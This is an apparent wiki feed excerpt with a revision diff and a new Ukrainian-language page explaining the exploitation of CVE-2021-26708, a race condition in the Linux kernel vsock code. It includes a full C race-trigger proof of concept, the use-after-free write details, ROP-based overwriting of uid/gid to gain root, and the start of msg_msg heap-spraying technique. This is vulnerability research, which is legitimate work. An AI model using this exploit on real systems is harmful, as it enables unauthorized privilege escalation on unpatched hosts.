&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;Покажчик функції зворотного виклику зберігає адресу гаджета ROP, RDI зберігає перший параметр функції зворотного виклику, який є адресою самого ubuf_info, а RDI &lt;/ins&gt;+ &lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;8 вказує на ubuf_info&lt;/ins&gt;.&lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;desc&lt;/ins&gt;. &lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;гаджет переміщує ubuf_info.desc до RDX. Тепер RDX містить ефективний ідентифікатор користувача та адресу ідентифікатора групи мінус один байт. Цей байт дуже важливий: коли пристрій пише повідомлення 1 з RSI в пам'ять, на яку вказує RDX, ефективний uid і gid буде перезаписаний нулем. Повторюйте той самий процес, доки привілеї не буде оновлено до root. Вихідний потік усього процесу такий:&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;callback函數指針存儲一個ROP gadget 地址，RDI存儲callback函數的第一個參數，也就是ubuf_info本身的地址，RDI &lt;/del&gt;+ &lt;del class=&quot;diffchange diffchange-inline&quot;&gt;8指向ubuf_info&lt;/del&gt;.&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;desc。 gadget 將ubuf_info&lt;/del&gt;.&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;desc移動到RDX。現在RDX包含有效用戶ID和組ID的地址減一個字節。這個字節很重要：當gadget從 RSI向 RDX指向的內存中寫入消息1時，有效的 uid和 gid將被零覆蓋。重複同樣的過程，直到權限升級到root。整個過程輸出流如下：&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;/div&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;pre&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;pre&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;[a13x@localhost ~]$ ./vsock_pwn&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;[a13x@localhost ~]$ ./vsock_pwn&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l594&quot; &gt;Line 594:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 564:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;/pre&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;/pre&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;div lang&lt;/del&gt;=&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;quot;chinese&amp;quot; dir&lt;/del&gt;=&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;quot;ltr&amp;quot; class&lt;/del&gt;=&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;== &lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;Відео &lt;/ins&gt;==&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;=&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;=視頻==&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;/div&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;youtube&amp;gt;https://www.youtube.com/watch?v=EC8PFOYOUgU&amp;lt;/youtube&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;youtube&amp;gt;https://www.youtube.com/watch?v=EC8PFOYOUgU&amp;lt;/youtube&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;

&lt;!-- diff cache key pwn_wiki:diff::1.12:old-2597:rev-2613 --&gt;
&lt;/table&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2021-26708_Linux_kernel_before_5.10.13_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E/uk&amp;diff=2597&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;Для того, щоб обробити &lt;code&gt; connect () &lt;/code&gt; віртуального сокета, ядро ​​виконує &lt;code&gt; vsock_stream_connect () &lt;/code&gt;,...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-26708_Linux_kernel_before_5.10.13_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E/uk&amp;diff=2597&amp;oldid=prev"/>
		<updated>2021-05-06T01:52:46Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;Для того, щоб обробити &amp;lt;code&amp;gt; connect () &amp;lt;/code&amp;gt; віртуального сокета, ядро ​​виконує &amp;lt;code&amp;gt; vsock_stream_connect () &amp;lt;/code&amp;gt;,...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;languages  /&amp;gt;&lt;br /&gt;
== Уразливість ==&lt;br /&gt;
&lt;br /&gt;
Ці вразливості - це умови перегонів, спричинені неправильним блокуванням у &amp;lt;code&amp;gt; net / vmw_vsock / af_vsock.c &amp;lt;/code&amp;gt;. Ці умовні змагання були неявно представлені у поданні, яке додало підтримку мультитранспорту VSOCK у листопаді 2019 року, та були об’єднані у версію ядра Linux 5.5-rc1.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt; CONFIG_VSOCKETS &amp;lt;/code&amp;gt; та &amp;lt;code&amp;gt; CONFIG_VIRTIO_VSOCKETS &amp;lt;/code&amp;gt; надаються як модулі ядра у всіх основних дистрибутивах GNU / Linux. Коли ви створюєте сокет для домену AF_VSOCK, ці вразливі модулі завантажуються автоматично.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
vsock = socket(AF_VSOCK, SOCK_STREAM, 0);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Створення &amp;lt;code&amp;gt; AF_VSOCK &amp;lt;/code&amp;gt; сокетів доступне для непривілейованих користувачів і не вимагає простору імен користувачів.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Пошкодження пам'яті ==&lt;br /&gt;
&lt;br /&gt;
Далі наведено докладний вступ до використання CVE-2021-26708, використовуючи умовну конкуренцію в &amp;lt;code&amp;gt; vsock_stream_etssockopt () &amp;lt;/code&amp;gt;. Для відтворення потрібні два потоки. Перший потік викликає &amp;lt;code&amp;gt; setsockopt () &amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,&lt;br /&gt;
                &amp;amp;size, sizeof(unsigned long));&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Другий потік змінює передачу віртуального сокета, коли &amp;lt;code&amp;gt; vsock_stream_etssockopt () &amp;lt;/code&amp;gt; намагається отримати блокування сокета, повторно підключивши віртуальний сокет:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
struct sockaddr_vm addr = {&lt;br /&gt;
        .svm_family = AF_VSOCK,&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
    addr.svm_cid = VMADDR_CID_LOCAL;&lt;br /&gt;
    connect(vsock, (struct sockaddr *)&amp;amp;addr, sizeof(struct sockaddr_vm));&lt;br /&gt;
&lt;br /&gt;
    addr.svm_cid = VMADDR_CID_HYPERVISOR;&lt;br /&gt;
    connect(vsock, (struct sockaddr *)&amp;amp;addr, sizeof(struct sockaddr_vm));&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Для того, щоб обробити &amp;lt;code&amp;gt; connect () &amp;lt;/code&amp;gt; віртуального сокета, ядро ​​виконує &amp;lt;code&amp;gt; vsock_stream_connect () &amp;lt;/code&amp;gt;, що викликає &amp;lt;code&amp;gt; vsock_assign_transport () &amp;lt;/code&amp;gt;. Ця функція містить такий код:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
     if (vsk-&amp;gt;transport) {&lt;br /&gt;
            if (vsk-&amp;gt;transport == new_transport)&lt;br /&gt;
                return 0;&lt;br /&gt;
&lt;br /&gt;
            /* transport-&amp;gt;release() must be called with sock lock acquired.&lt;br /&gt;
             * This path can only be taken during vsock_stream_connect(),&lt;br /&gt;
             * where we have already held the sock lock.&lt;br /&gt;
             * In the other cases, this function is called on a new socket&lt;br /&gt;
             * which is not assigned to any transport.&lt;br /&gt;
             */&lt;br /&gt;
            vsk-&amp;gt;transport-&amp;gt;release(vsk);&lt;br /&gt;
            vsock_deassign_transport(vsk);&lt;br /&gt;
        }&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt; vsock_stream_connect () &amp;lt;/code&amp;gt; містить блокування сокета, а &amp;lt;code&amp;gt; vsock_stream_setsockopt () &amp;lt;/code&amp;gt; у паралельному потоці також намагається отримати його, що становить умовну конкуренцію. Отже, коли другий &amp;lt;code&amp;gt; connect () &amp;lt;/code&amp;gt; виконується з іншим &amp;lt;code&amp;gt; svm_cid &amp;lt;/code&amp;gt;, викликається функція &amp;lt;code&amp;gt; vsock_de assign_transport () &amp;lt;/code&amp;gt;. Ця функція виконує &amp;lt;code&amp;gt; virtio_transport_destruct () &amp;lt;/code&amp;gt;, випускає &amp;lt;code&amp;gt; vsock_sock.trans &amp;lt;/code&amp;gt;, а для &amp;lt;code&amp;gt; vsk-&amp;gt; transport &amp;lt;/code&amp;gt; встановлено значення NULL. Коли &amp;lt;code&amp;gt; vsock_stream_connect () &amp;lt;/code&amp;gt; звільняє блокування сокета, &amp;lt;code&amp;gt; vsock_stream_setsockopt () &amp;lt;/code&amp;gt; може продовжувати виконуватися. Він викликає &amp;lt;code&amp;gt; vsock_update_buffer_size () &amp;lt;/code&amp;gt;, а потім викликає &amp;lt;code&amp;gt; transport-&amp;gt; notify_buffer_size () &amp;lt;/code&amp;gt;. Тут транспорт містить застаріле значення з локальної змінної, яке не відповідає &amp;lt;code&amp;gt; vsk-&amp;gt; транспорт &amp;lt;/code&amp;gt; (вихідне значення має значення NULL).&lt;br /&gt;
&lt;br /&gt;
Коли ядро ​​виконує &amp;lt;code&amp;gt; virtio_transport_notify_buffer_size () &amp;lt;/code&amp;gt;, відбувається пошкодження пам'яті:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void virtio_transport_notify_buffer_size(struct vsock_sock *vsk, u64 *val)&lt;br /&gt;
{&lt;br /&gt;
    struct virtio_vsock_sock *vvs = vsk-&amp;gt;trans;&lt;br /&gt;
&lt;br /&gt;
    if (*val &amp;gt; VIRTIO_VSOCK_MAX_BUF_SIZE)&lt;br /&gt;
        *val = VIRTIO_VSOCK_MAX_BUF_SIZE;&lt;br /&gt;
&lt;br /&gt;
    vvs-&amp;gt;buf_alloc = *val;&lt;br /&gt;
&lt;br /&gt;
    virtio_transport_send_credit_update(vsk, VIRTIO_VSOCK_TYPE_STREAM, NULL);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Тут vvs - це вказівник на пам’ять ядра, який був випущений у &amp;lt;code&amp;gt; virtio_transport_destruct () &amp;lt;/code&amp;gt;. Розмір &amp;lt;code&amp;gt; struct virtio_vsock_sock &amp;lt;/code&amp;gt; дорівнює 64 байтам і знаходиться в кеш-пам’яті kmalloc-64. Тип поля buf_alloc має значення u32 і знаходиться зі зміщенням 40. &amp;lt;code&amp;gt; VIRTIO_VSOCK_MAX_BUF_SIZE - 0xFFFFFFFFUL &amp;lt;/code&amp;gt;. Значення * val контролюється зловмисником, а його чотири найменш важливі байти записуються у звільнену пам'ять.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Розмивання ==&lt;br /&gt;
&lt;br /&gt;
Fuzzer syzkaller не має можливості відтворити цю аварію, тому я вирішив вивчити її сам. Але чому фуззер виходить з ладу? Дотримуйтесь &amp;lt;code&amp;gt; vsock_update_buffer_size () &amp;lt;/code&amp;gt; і дізнайтеся:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 if (val != vsk-&amp;gt;buffer_size &amp;amp;&amp;amp;&lt;br /&gt;
      transport &amp;amp;&amp;amp; transport-&amp;gt;notify_buffer_size)&lt;br /&gt;
        transport-&amp;gt;notify_buffer_size(vsk, &amp;amp;val);&lt;br /&gt;
&lt;br /&gt;
    vsk-&amp;gt;buffer_size = val;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Тільки тоді, коли val відрізняється від поточного buffer_size, буде викликатися &amp;lt;code&amp;gt; notify_buffer_size () &amp;lt;/code&amp;gt;, тобто, коли &amp;lt;code&amp;gt; setsockopt () &amp;lt;/code&amp;gt; виконує &amp;lt;code&amp;gt; SO_VM_SOCKETS_BUFFER_SIZE &amp;lt;/code&amp;gt;, кожного разу Параметри розміру дзвінка повинні бути різними. Тож я створив відповідний код:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/*&lt;br /&gt;
 * AF_VSOCK vulnerability trigger.&lt;br /&gt;
 * It's a PoC just for fun.&lt;br /&gt;
 * Author: Alexander Popov &amp;lt;alex.popov@linux.com&amp;gt;.&lt;br /&gt;
 */&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;pthread.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/vm_sockets.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define err_exit(msg) do { perror(msg); exit(EXIT_FAILURE); } while (0)&lt;br /&gt;
&lt;br /&gt;
#define MAX_RACE_LAG_USEC 50&lt;br /&gt;
&lt;br /&gt;
int vsock = -1;&lt;br /&gt;
int tfail = 0;&lt;br /&gt;
pthread_barrier_t barrier;&lt;br /&gt;
&lt;br /&gt;
int thread_sync(long lag_nsec)&lt;br /&gt;
{&lt;br /&gt;
	int ret = -1;&lt;br /&gt;
	struct timespec ts0;&lt;br /&gt;
	struct timespec ts;&lt;br /&gt;
	long delta_nsec = 0;&lt;br /&gt;
&lt;br /&gt;
	ret = pthread_barrier_wait(&amp;amp;barrier);&lt;br /&gt;
	if (ret != 0 &amp;amp;&amp;amp; ret != PTHREAD_BARRIER_SERIAL_THREAD) {&lt;br /&gt;
		perror(&amp;quot;[-] pthread_barrier_wait&amp;quot;);&lt;br /&gt;
		return EXIT_FAILURE;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	ret = clock_gettime(CLOCK_MONOTONIC, &amp;amp;ts0);&lt;br /&gt;
	if (ret != 0) {&lt;br /&gt;
		perror(&amp;quot;[-] clock_gettime&amp;quot;);&lt;br /&gt;
		return EXIT_FAILURE;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	while (delta_nsec &amp;lt; lag_nsec) {&lt;br /&gt;
		ret = clock_gettime(CLOCK_MONOTONIC, &amp;amp;ts);&lt;br /&gt;
		if (ret != 0) {&lt;br /&gt;
			perror(&amp;quot;[-] clock_gettime&amp;quot;);&lt;br /&gt;
			return EXIT_FAILURE;&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		delta_nsec = (ts.tv_sec - ts0.tv_sec) * 1000000000 +&lt;br /&gt;
						ts.tv_nsec - ts0.tv_nsec;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	return EXIT_SUCCESS;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void *th_connect(void *arg)&lt;br /&gt;
{&lt;br /&gt;
	int ret = -1;&lt;br /&gt;
	long lag_nsec = *((long *)arg) * 1000;&lt;br /&gt;
	struct sockaddr_vm addr = {&lt;br /&gt;
		.svm_family = AF_VSOCK,&lt;br /&gt;
	};&lt;br /&gt;
&lt;br /&gt;
	ret = thread_sync(lag_nsec);&lt;br /&gt;
	if (ret != EXIT_SUCCESS) {&lt;br /&gt;
		tfail++;&lt;br /&gt;
		return NULL;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	addr.svm_cid = VMADDR_CID_LOCAL;&lt;br /&gt;
	connect(vsock, (struct sockaddr *)&amp;amp;addr, sizeof(struct sockaddr_vm));&lt;br /&gt;
&lt;br /&gt;
	addr.svm_cid = VMADDR_CID_HYPERVISOR;&lt;br /&gt;
	connect(vsock, (struct sockaddr *)&amp;amp;addr, sizeof(struct sockaddr_vm));&lt;br /&gt;
&lt;br /&gt;
	return NULL;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void *th_setsockopt(void *arg)&lt;br /&gt;
{&lt;br /&gt;
	int ret = -1;&lt;br /&gt;
	long lag_nsec = *((long *)arg) * 1000;&lt;br /&gt;
	struct timespec tp;&lt;br /&gt;
	unsigned long size = 0;&lt;br /&gt;
&lt;br /&gt;
	ret = thread_sync(lag_nsec);&lt;br /&gt;
	if (ret != EXIT_SUCCESS) {&lt;br /&gt;
		tfail++;&lt;br /&gt;
		return NULL;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	clock_gettime(CLOCK_MONOTONIC, &amp;amp;tp);&lt;br /&gt;
	size = tp.tv_nsec;&lt;br /&gt;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,&lt;br /&gt;
						&amp;amp;size, sizeof(unsigned long));&lt;br /&gt;
&lt;br /&gt;
	return NULL;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
	int ret = -1;&lt;br /&gt;
	unsigned long size = 0;&lt;br /&gt;
	long loop = 0;&lt;br /&gt;
	pthread_t th[2] = { 0 };&lt;br /&gt;
&lt;br /&gt;
	vsock = socket(AF_VSOCK, SOCK_STREAM, 0);&lt;br /&gt;
	if (vsock == -1)&lt;br /&gt;
		err_exit(&amp;quot;[-] open vsock&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
	printf(&amp;quot;[+] AF_VSOCK socket is opened\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
	size = 1;&lt;br /&gt;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MIN_SIZE,&lt;br /&gt;
						&amp;amp;size, sizeof(unsigned long));&lt;br /&gt;
	size = 0xfffffffffffffffdlu;&lt;br /&gt;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MAX_SIZE,&lt;br /&gt;
						&amp;amp;size, sizeof(unsigned long));&lt;br /&gt;
&lt;br /&gt;
	ret = pthread_barrier_init(&amp;amp;barrier, NULL, 2);&lt;br /&gt;
	if (ret != 0)&lt;br /&gt;
		err_exit(&amp;quot;[-] pthread_barrier_init&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
	for (loop = 0; loop &amp;lt; 30000; loop++) {&lt;br /&gt;
		long tmo1 = 0;&lt;br /&gt;
		long tmo2 = loop % MAX_RACE_LAG_USEC;&lt;br /&gt;
&lt;br /&gt;
		printf(&amp;quot;race loop %ld: tmo1 %ld, tmo2 %ld\n&amp;quot;, loop, tmo1, tmo2);&lt;br /&gt;
&lt;br /&gt;
		ret = pthread_create(&amp;amp;th[0], NULL, th_connect, &amp;amp;tmo1);&lt;br /&gt;
		if (ret != 0)&lt;br /&gt;
			err_exit(&amp;quot;[-] pthread_create #0&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
		ret = pthread_create(&amp;amp;th[1], NULL, th_setsockopt, &amp;amp;tmo2);&lt;br /&gt;
		if (ret != 0)&lt;br /&gt;
			err_exit(&amp;quot;[-] pthread_create #1&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
		ret = pthread_join(th[0], NULL);&lt;br /&gt;
		if (ret != 0)&lt;br /&gt;
			err_exit(&amp;quot;[-] pthread_join #0&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
		ret = pthread_join(th[1], NULL);&lt;br /&gt;
		if (ret != 0)&lt;br /&gt;
			err_exit(&amp;quot;[-] pthread_join #1&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
		if (tfail) {&lt;br /&gt;
			printf(&amp;quot;[-] some thread got troubles\n&amp;quot;);&lt;br /&gt;
			exit(EXIT_FAILURE);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	ret = close(vsock);&lt;br /&gt;
	if (ret)&lt;br /&gt;
		perror(&amp;quot;[-] close&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
	printf(&amp;quot;[+] now see your warnings in the kernel log\n&amp;quot;);&lt;br /&gt;
	return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Значення розміру тут береться з кількості наносекунд, повернутих &amp;lt;code&amp;gt; clock_gettime () &amp;lt;/code&amp;gt;, яка може різнитися кожного разу. Оригінальний syzkaller цього не робить, оскільки коли syzkaller генерує нечіткий вхід, значення параметра syscall визначається і не буде змінюватися під час виконання.&lt;br /&gt;
&lt;br /&gt;
== Ступінь чотирьох байт ==&lt;br /&gt;
&lt;br /&gt;
Тут я вибираю сервер Fedora 33 як ціль дослідження, версія ядра - 5.10.11-200.fc33.x86_64, і я твердо вирішив обійти SMEP та SMAP.&lt;br /&gt;
&lt;br /&gt;
На першому кроці я почав вивчати стабільне розпилення купи, яке використовувало виконання просторових дій користувача, щоб змусити ядро ​​виділити ще один 64-байтовий об'єкт у розташуванні звільненого virtio_vsock_sock. Після кількох експериментальних спроб було підтверджено, що випущений virtio_vsock_sock був перезаписаний, вказуючи на те, що обприскування купи можливо. Нарешті я знайшов msgsnd () syscall. Він створює struct msg_msg у просторі ядра, див. Вивід pahole:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
struct msg_msg {&lt;br /&gt;
    struct list_head           m_list;               /*     0    16 */&lt;br /&gt;
    long int                   m_type;               /*    16     8 */&lt;br /&gt;
    size_t                     m_ts;                 /*    24     8 */&lt;br /&gt;
    struct msg_msgseg *        next;                 /*    32     8 */&lt;br /&gt;
    void *                     security;             /*    40     8 */&lt;br /&gt;
&lt;br /&gt;
    /* size: 48, cachelines: 1, members: 5 */&lt;br /&gt;
    /* last cacheline: 48 bytes */&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
